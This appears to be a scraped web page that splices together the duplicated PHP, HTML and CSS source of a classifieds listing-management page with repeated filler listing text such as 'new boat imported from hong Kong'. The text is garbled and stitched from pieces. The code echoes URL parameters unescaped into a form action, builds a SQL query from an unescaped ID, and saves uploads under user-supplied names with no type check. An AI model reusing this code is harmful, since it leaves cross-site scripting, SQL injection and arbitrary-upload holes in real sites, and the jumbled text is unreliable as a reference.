#fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: '???? '; position: absolute; <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"right: 0px;"; else echo"left: 0px;"; ?> top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"margin-left: 40px;"; else echo"margin-right: 40px;"; ?> } </style> </head> <body> <div class="container"> <h1>Insert New Record</h1> <form method="post" action="?accessCat=<?php echo $_GET['accessCat']; ?>&brand=<?php echo $_GET['brand']; ?>&year=<?php echo $_GET['year']; ?>" enctype="multipart/form-data"> <!--div class="form-group"> <label for="category">Category:</label> <input type="text" id="category" name="accessCat" class="form-control" required> </div --> <div class="form-group"> <label for="images" class="custom-file-upload"> <span><?php echo $_SESSION["imageUpload"]; ?></span> </label> <input type="file" id="images" name="images[]" class="custom-file-input" accept="image/*" multiple> <div class="image-preview" id="image-preview"> <div class="placeholder"><?php echo $_SESSION["imagesselected"]; ?></div> </div> </div> <div class="form-group"> <label for="title">Title:</label> <input type="text" id="title" name="title" class="form-control" required> </div> <?php if($_GET["accessCat"]=="cars")include_once"_carsSpecificities.php"; ?> <?php //include_once"_vpcategoriesForms.php"; // Function to generate form fields function generateFormFields($fields) { $formHtml = ''; foreach ($fields as $field => $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label['type']) . ':</label>'; $formHtml .= '<select id="' . htmlspecialchars($field) . '" name="' . htmlspecialchars($field) . '" class="form-control">'; foreach ($label as $subValue => $subLabel) { if ($subValue !== 'type') { // Skip the 'type' key $formHtml .= '<option value="' . htmlspecialchars($subValue) . '">' . htmlspecialchars($subLabel) . '</option>'; } } $formHtml .= '</select><br><br>'; } else { $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label) . ':</label>'; $formHtml .= '<input type="text" id="' . htmlspecialchars($field) . '" class="form-control" name="' . htmlspecialchars($field) . '" placeholder="' . htmlspecialchars($label) . '"><br><br>'; } } return $formHtml; } ?> <?php if ($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div method="post" class="_carContainer image-preview"> <?= generateFormFields($fields) ?> <!-- input type="submit" value="إرسال" --> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <div class="form-group"> <label for="berid">Berid:</label> <input type="text" id="berid" name="berid" class="form-control" required> </div> <div class="form-group"> <label for="hetef">Hetef:</label> <input type="text" id="hetef" name="hetef" class="form-control" required> </div> <div class="form-group"> <label for="country">Country:</label> <input type="text" id="country" name="country" class="form-control" required> </div> <div class="form-group"> <label for="location_city">City:</label> <input type="text" id="location_city" name="location_city" class="form-control" required> </div> <div class="form-group"> <label for="price">Price:</label> <input type="text" id="price" name="price" class="form-control" required> </div> <div class="form-group"> <label for="el3omla">Currency:</label> <input type="text" id="el3omla" name="el3omla" class="form-control" required> </div> <div class="form-group"> <label for="description">Description:</label> <textarea id="description" name="description" class="form-control" rows="4" required></textarea> </div> <div class="form-group"> <label for="quantity">Quantity:</label> <input type="text" id="quantity" name="quantity" class="form-control" required> </div> <div class="form-group"> <label for="yearModel">Year:</label> <input type="text" id="yearModel" name="yearModel" class="form-control" required> </div> <!-- div class="form-group"> <label for="views">Views:</label> <input type="text" id="views" name="views" class="form-control" required> </div --> <!-- div class="form-group"> <label for="attributes">Attributes (JSON):</label> <textarea id="attributes" name="attributes" class="form-control" rows="4" required></textarea> </div --> <div class="form-group form-check"> <input type="checkbox" id="delivery_available" name="delivery_available" class="form-check-input" value="1"> <label for="delivery_available" class="form-check-label"><?php echo $_SESSION['property19']; ?>Delivery Available</label> </div> <div class="form-group form-check"> <input type="checkbox" id="negotiable_price" name="negotiable_price" class="form-check-input" value="1"> <label for="negotiable_price" class="form-check-label"><?php echo $_SESSION['property16']; ?>Negotiable Price</label> </div> <div class="form-group"> <label for="status">Status:</label> <input type="text" id="status" name="status" class="form-control" required> </div> <div class="form-group"> <label for="collector">Collector:</label> <input type="text" id="collector" name="collector" class="form-control" required> </div> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>"> <button type="submit" class="btn btn-primary"><?php echo $_SESSION['goNUploadNsell']; ?></button> </form> <h2>Existing Records</h2> <table class="table"> <thead> <tr> <th>ID</th> <th>Images</th> <th>Category</th> <th>Attributes / Delivery Available / Negotiable Price</th> <th>Status</th> <th>Collector</th> </tr> </thead> <tbody> <?php while ($row = $result->fetch_assoc()): ?> <tr> <td><?php echo htmlspecialchars($row['idBathae3i']); ?></td> <td style="max-width:300px;"> <?php $images = explode(',', $row['images']); foreach ($images as $image): ?> <img src="<?php echo htmlspecialchars($image); ?>" alt="Image" style="max-width: 100px; margin-right: 5px;"> <?php endforeach; ?> </td> <td><?php echo htmlspecialchars($row['category']); ?></td> <td><?php /*echo htmlspecialchars($row['attributes']);*/ ?> <?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row['attributes'], true); ?> <div> <?php $formHtml = $attributes['form_html']; $formData = $attributes['data']; ?> <div class="details-container"> <div class="data-display details-list"> <?php foreach ($formData as $key => $value): ?> <?php // Find the translation for the current key $translation = ''; //foreach ($_SESSION['translations']['category']['vehicles']['cars'] as $category) { foreach ($_SESSION['translations'] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category['vehicles'][$key])) { $translation = $category[$key]; break; } } ?> <li><strong><font color=brown class=_vkey><?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, 'UTF-8'); ?>:</font></strong> <?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?></li> <?php endforeach; ?> </div> </div> </div> <br /><?php echo $_SESSION['property19']; ?>: <?php echo $row['delivery_available'] ? $_SESSION['yes'] : $_SESSION['no'] ; ?><br /><?php echo $_SESSION['property16']; ?>: <?php echo $row['negotiable_price'] ? $_SESSION['yes'] : $_SESSION['no']; ?></td> <td><?php echo htmlspecialchars($row['status']); ?></td> <td><?php echo htmlspecialchars($row['collector']); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> <script> document.querySelector('#images').addEventListener('change', function() { const preview = document.querySelector('#image-preview'); preview.innerHTML = ''; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement('img'); img.src = e.target.result; img.alt = 'Image Preview'; preview.appendChild(img); }; reader.readAsDataURL(file); } }); </script> </body> </html>
<?php include_once "settings.php"; // Ensure this file sets up $connessione (database connection) //include 'ar.php'; if(isset($_GET["accessCat"])) $_SESSION["ad"]=$_GET["accessCat"]; //for the cntrol to dsply ads && (HIDE) not to display the cars brands logos $bId = htmlspecialchars($_GET['bId'] ?? $_GET['bId']); // Check if the 'accessCat' GET parameter is set $accessCat = isset($_GET['accessCat']) ? $_GET['accessCat'] : ''; // Define available categories and their fields $categories = $_SESSION['translations']['category']; // Process form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $category = $connessione->real_escape_string($_POST['accessCat'] ?? $_GET['accessCat']); $title = $connessione->real_escape_string($_POST['title'] ?? ''); $berid = $connessione->real_escape_string($_POST['berid'] ?? ''); $hetef = $connessione->real_escape_string($_POST['hetef'] ?? ''); $country = $connessione->real_escape_string($_POST['country'] ?? ''); $location_city = $connessione->real_escape_string($_POST['location_city'] ?? ''); $price = $connessione->real_escape_string($_POST['price'] ?? ''); $el3omla = $connessione->real_escape_string($_POST['el3omla'] ?? ''); $description = $connessione->real_escape_string($_POST['description'] ?? ''); $quantity = $connessione->real_escape_string($_POST['quantity'] ?? ''); $yearModel = $connessione->real_escape_string($_POST['yearModel'] ?? $_GET['year']); $views = intval($_POST['views'] ?? 0); //$attributes = $connessione->real_escape_string($_POST['attributes'] ?? ''); // Collect prod attributes data with default values $attributes__ = [ 'brand' => $_GET['brand'] ?? '', 'year' => $yearModel ?? '', 'regional_specifications' => $_POST['property3'] ?? '', 'odometer' => $_POST['property4'] ?? '', 'cylinders' => $_POST['property5'] ?? '', 'transmission' => $_POST['property6'] ?? '', 'keys' => $_POST['property7'] ?? '', 'full_options' => $_POST['property8'] ?? '', 'fuel' => $_POST['property9'] ?? '', 'wheel_drive' => $_POST['property10'] ?? '', 'exterior_color' => $_POST['property11'] ?? '', 'interior_color' => $_POST['property12'] ?? '', 'maintenance_report' => $_POST['property13'] ?? '', 'car_status' => $_POST['property17'] ?? '' ]; // Initialize an array to hold form data $formData = []; $formHtml = isset($_POST['form_html']) ? $_POST['form_html'] : ''; // Check if 'form_html' is set and is an array if (isset($_POST['form_html']) && is_array($_POST['form_html'])) { foreach ($_POST['form_html'] as $key => $value) { // Sanitize each value $formData[$key] = htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); } } else { echo 'Error: form_html is not set or not an array.'; } // Output the sanitized form data foreach ($formData as $key => $value) { echo htmlspecialchars($key) . ': ' . htmlspecialchars($value) . '<br>'; } // Build the JSON object for the attributes field $attributes = [ 'form_html' => $formHtml, 'data' => $formData ]; // Convert the attributes array to a JSON string $attributesJson = json_encode($attributes); // Sanitize the JSON string for safe insertion $attributes = $connessione->real_escape_string($attributesJson); //$attributes = $connessione->real_escape_string(json_encode($attributes)); $delivery_available = isset($_POST['delivery_available']) ? 1 : 0; $negotiable_price = isset($_POST['negotiable_price']) ? 1 : 0; $status = $connessione->real_escape_string($_POST['status'] ?? ''); $collector = $connessione->real_escape_string($_POST['collector'] ?? ''); // Handle file uploads $images = []; if (isset($_FILES['images']) && !empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmp_name) { $fileName = basename($_FILES['images']['name'][$key]); $uploadFile = $uploadDir . $fileName; if (move_uploaded_file($tmp_name, $uploadFile)) { $images[] = $uploadFile; } } } $imagesList = implode(',', $images); try { $sql = mysqli_query($connessione, "INSERT INTO `bathae3i` ( `idBathae3i`, `images`, `category`, `title`, `berid`, `hetef`, `country`, `location_city`, `price`, `el3omla`, `description`, `quantity`, `chronoBathae3`, `views`, `attributes`, `delivery_available`, `negotiable_price`, `status`, `collector` ) VALUES ( NULL, '$imagesList', '$category', '$title', '$berid', '$hetef', '$country', '$location_city', '$price', '$el3omla', '$description', '$quantity', '".time()."', $views, '$attributes', $delivery_available, $negotiable_price, '$status', '$collector' )"); if (!$sql) { die('Error: ' . htmlspecialchars($connessione->error)); } } catch(Exception $e) { echo "Exception: " . $e->getMessage(); } } // Retrieve records from the database $sql = "SELECT * FROM `bathae3i` WHERE idBathae3i = '" . $bId . "'"; $result = $connessione->query($sql); ?> <!DOCTYPE html> <html <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?>> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bathae3i Management</title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css__"> <style> body { <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"lang=ar dir=rtl"; else echo"lang=en dir=ltr"; ?> background-color: #f8f9fa; font-family: Arial, sans-serif; } .container { max-width: 1200px; margin: 20px auto; padding: 20px; background-color: #ffffff; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); border-radius: 8px; } .form-control { display: block; width: 100%; height: calc(1.5em + .75rem + 2px); padding: .375rem .75rem; margin-top: 3px; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #495057; background-color: #fff; background-clip: padding-box; border: 1px solid #ced4da; border-radius: .25rem; transition: border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn { display: inline-block; font-weight: 400; color: #212529; text-align: center; vertical-align: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-color: transparent; border: 1px solid transparent; padding: .375rem .75rem; font-size: 1rem; line-height: 1.5; border-radius: .25rem; transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; } .btn-primary { color: #fff; background-color: #007bff; border-color: #007bff; } h1 { margin-bottom: 20px; } form { margin-bottom: 30px; } .form-group { margin-bottom: 15px; } .form-control, .form-check-input { border-radius: 4px; } .custom-file-input { display: none; } .custom-file-upload { border: 2px solid #007bff; border-radius: 8px; display: inline-block; padding: 12px 24px; cursor: pointer; background: linear-gradient(135deg, #007bff 0%, #00d2ff 100%); color: #ffffff; text-align: center; font-weight: bold; font-size: 16px; transition: all 0.3s ease; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); position: relative; } .custom-file-upload:hover { background: linear-gradient(135deg, #00d2ff 0%, #007bff 100%); color: #f0f0f0; transform: scale(1.05); } .custom-file-upload:before { content: '???? '; position: absolute; <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"right: 0px;"; else echo"left: 0px;"; ?> top: 40%; transform: translateY(-50%); font-size: 18px; } .custom-file-input { display: none; } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; } .image-preview img { max-width: 100px; margin-right: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } .image-preview { display: flex; flex-wrap: wrap; margin-top: 10px; border: 2px dashed #007bff; border-radius: 8px; padding: 10px; background-color: #f8f9fa; min-height: 120px; position: relative; overflow: auto; } .image-preview .placeholder { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); color: #007bff; font-size: 18px; font-weight: bold; text-align: center; pointer-events: none; } .image-preview img { max-width: 100px; margin: 5px; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); } table { width: 100%; border-collapse: collapse; } table th, table td { border: 1px solid #dee2e6; padding: 12px; text-align: left; } table th { background-color: #007bff; color: #ffffff; } table td { background-color: #ffffff; } .attributes-list { white-space: pre-wrap; /* Preserve whitespace for line breaks */ } .details-list { list-style-type: none; padding: 0; margin: 0; } .details-list li:nth-child(even) { background-color: #f9f9f9; } .details-list li { padding: 10px; border-bottom: 1px solid #eee; } .details-container { background-color: #fff; border: 1px solid #ddd; padding: 20px; margin-bottom: 20px; font-family: Arial, sans-serif; width: 100%; margin: 0 auto; box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); } ._vkey{ <?php if(!isset($_SESSION['lang']) || $_SESSION['lang']=="ar") echo"margin-left: 40px;"; else echo"margin-right: 40px;"; ?> } </style> </head> <body> <div class="container"> <h1>Insert New Record</h1> <form method="post" action="?accessCat=<?php echo $_GET['accessCat']; ?>&brand=<?php echo $_GET['brand']; ?>&year=<?php echo $_GET['year']; ?>" enctype="multipart/form-data"> <!--div class="form-group"> <label for="category">Category:</label> <input type="text" id="category" name="accessCat" class="form-control" required> </div --> <div class="form-group"> <label for="images" class="custom-file-upload"> <span><?php echo $_SESSION["imageUpload"]; ?></span> </label> <input type="file" id="images" name="images[]" class="custom-file-input" accept="image/*" multiple> <div class="image-preview" id="image-preview"> <div class="placeholder"><?php echo $_SESSION["imagesselected"]; ?></div> </div> </div> <div class="form-group"> <label for="title">Title:</label> <input type="text" id="title" name="title" class="form-control" required> </div> <?php if($_GET["accessCat"]=="cars")include_once"_carsSpecificities.php"; ?> <?php //include_once"_vpcategoriesForms.php"; // Function to generate form fields function generateFormFields($fields) { $formHtml = ''; foreach ($fields as $field => $label) { if (is_array($label)) { // Check if the field has subvalues $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label['type']) . ':</label>'; $formHtml .= '<select id="' . htmlspecialchars($field) . '" name="' . htmlspecialchars($field) . '" class="form-control">'; foreach ($label as $subValue => $subLabel) { if ($subValue !== 'type') { // Skip the 'type' key $formHtml .= '<option value="' . htmlspecialchars($subValue) . '">' . htmlspecialchars($subLabel) . '</option>'; } } $formHtml .= '</select><br><br>'; } else { $formHtml .= '<label for="' . htmlspecialchars($field) . '">' . htmlspecialchars($label) . ':</label>'; $formHtml .= '<input type="text" id="' . htmlspecialchars($field) . '" class="form-control" name="' . htmlspecialchars($field) . '" placeholder="' . htmlspecialchars($label) . '"><br><br>'; } } return $formHtml; } ?> <?php if ($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div method="post" class="_carContainer image-preview"> <?= generateFormFields($fields) ?> <!-- input type="submit" value="إرسال" --> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <div class="form-group"> <label for="berid">Berid:</label> <input type="text" id="berid" name="berid" class="form-control" required> </div> <div class="form-group"> <label for="hetef">Hetef:</label> <input type="text" id="hetef" name="hetef" class="form-control" required> </div> <div class="form-group"> <label for="country">Country:</label> <input type="text" id="country" name="country" class="form-control" required> </div> <div class="form-group"> <label for="location_city">City:</label> <input type="text" id="location_city" name="location_city" class="form-control" required> </div> <div class="form-group"> <label for="price">Price:</label> <input type="text" id="price" name="price" class="form-control" required> </div> <div class="form-group"> <label for="el3omla">Currency:</label> <input type="text" id="el3omla" name="el3omla" class="form-control" required> </div> <div class="form-group"> <label for="description">Description:</label> <textarea id="description" name="description" class="form-control" rows="4" required></textarea> </div> <div class="form-group"> <label for="quantity">Quantity:</label> <input type="text" id="quantity" name="quantity" class="form-control" required> </div> <div class="form-group"> <label for="yearModel">Year:</label> <input type="text" id="yearModel" name="yearModel" class="form-control" required> </div> <!-- div class="form-group"> <label for="views">Views:</label> <input type="text" id="views" name="views" class="form-control" required> </div --> <!-- div class="form-group"> <label for="attributes">Attributes (JSON):</label> <textarea id="attributes" name="attributes" class="form-control" rows="4" required></textarea> </div --> <div class="form-group form-check"> <input type="checkbox" id="delivery_available" name="delivery_available" class="form-check-input" value="1"> <label for="delivery_available" class="form-check-label"><?php echo $_SESSION['property19']; ?>Delivery Available</label> </div> <div class="form-group form-check"> <input type="checkbox" id="negotiable_price" name="negotiable_price" class="form-check-input" value="1"> <label for="negotiable_price" class="form-check-label"><?php echo $_SESSION['property16']; ?>Negotiable Price</label> </div> <div class="form-group"> <label for="status">Status:</label> <input type="text" id="status" name="status" class="form-control" required> </div> <div class="form-group"> <label for="collector">Collector:</label> <input type="text" id="collector" name="collector" class="form-control" required> </div> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>"> <button type="submit" class="btn btn-primary"><?php echo $_SESSION['goNUploadNsell']; ?></button> </form> <h2>Existing Records</h2> <table class="table"> <thead> <tr> <th>ID</th> <th>Images</th> <th>Category</th> <th>Attributes / Delivery Available / Negotiable Price</th> <th>Status</th> <th>Collector</th> </tr> </thead> <tbody> <?php while ($row = $result->fetch_assoc()): ?> <tr> <td><?php echo htmlspecialchars($row['idBathae3i']); ?></td> <td style="max-width:300px;"> <?php $images = explode(',', $row['images']); foreach ($images as $image): ?> <img src="<?php echo htmlspecialchars($image); ?>" alt="Image" style="max-width: 100px; margin-right: 5px;"> <?php endforeach; ?> </td> <td><?php echo htmlspecialchars($row['category']); ?></td> <td><?php /*echo htmlspecialchars($row['attributes']);*/ ?> <?php // Start session if not already started if (session_status() === PHP_SESSION_NONE) { session_start(); } // Decode the JSON-encoded attributes field $attributes = json_decode($row['attributes'], true); ?> <div> <?php $formHtml = $attributes['form_html']; $formData = $attributes['data']; ?> <div class="details-container"> <div class="data-display details-list"> <?php foreach ($formData as $key => $value): ?> <?php // Find the translation for the current key $translation = ''; //foreach ($_SESSION['translations']['category']['vehicles']['cars'] as $category) { foreach ($_SESSION['translations'] as $category) { if (isset($category[$key])) { $translation = $category[$key]; break; }else if (isset($category['vehicles'][$key])) { $translation = $category[$key]; break; } } ?> <li><strong><font color=brown class=_vkey><?php echo htmlspecialchars($translation ?: $key, ENT_QUOTES, 'UTF-8'); ?>:</font></strong> <?php echo htmlspecialchars($value, ENT_QUOTES, 'UTF-8'); ?></li> <?php endforeach; ?> </div> </div> </div> <br /><?php echo $_SESSION['property19']; ?>: <?php echo $row['delivery_available'] ? $_SESSION['yes'] : $_SESSION['no'] ; ?><br /><?php echo $_SESSION['property16']; ?>: <?php echo $row['negotiable_price'] ? $_SESSION['yes'] : $_SESSION['no']; ?></td> <td><?php echo htmlspecialchars($row['status']); ?></td> <td><?php echo htmlspecialchars($row['collector']); ?></td> </tr> <?php endwhile; ?> </tbody> </table> </div> <script> document.querySelector('#images').addEventListener('change', function() { const preview = document.querySelector('#image-preview'); preview.innerHTML = ''; for (const file of this.files) { const reader = new FileReader(); reader.onload = function(e) { const img = document.createElement('img'); img.src = e.target.result; img.alt = 'Image Preview'; preview.appendChild(img); }; reader.readAsDataURL(file); } }); </script> </body> </html>
.jpg)
new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55
.jpg)
new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55
.jpg)
new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55
.jpg)
new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55
.jpg)
new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55

new boat imported from hong Kong new boat imported from hong Kong 1111111111111111111111 55555555555555 55
.jpg)
<?php if($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div class="_carContainer image-preview"> <?= generateFormFields($fields) ?> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <!-- Remaining form fields --> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>">

<?php if($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div class="_carContainer image-preview"> <?= generateFormFields($fields) ?> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <!-- Remaining form fields --> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>">

<?php if($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div class="_carContainer image-preview"> <?= generateFormFields($fields) ?> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <!-- Remaining form fields --> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>">
.jpg)
<?php if($accessCat): ?> <?php // Split the selected category into category and subcategory list($category, $subcategory) = explode('/', $accessCat); // Check if the selected category and subcategory exist if (isset($categories[$category][$subcategory])) { $fields = $categories[$category][$subcategory]; ?> <h2><?= htmlspecialchars($subcategory) ?></h2> <div class="_carContainer image-preview"> <?= generateFormFields($fields) ?> </div> <?php } else { echo '<p class="error-message">الفئة أو التصنيف المحدد غير موجود.</p>'; } ?> <?php endif; ?> <!-- Remaining form fields --> <input type="hidden" name="form_html" value="<?php echo htmlspecialchars($formHtml); ?>">
.jpg)
new boat imported from hong Kong new boat imported from hong Kong
new packs
.jpg)
like new
.jpg)
like new
.jpg)
like new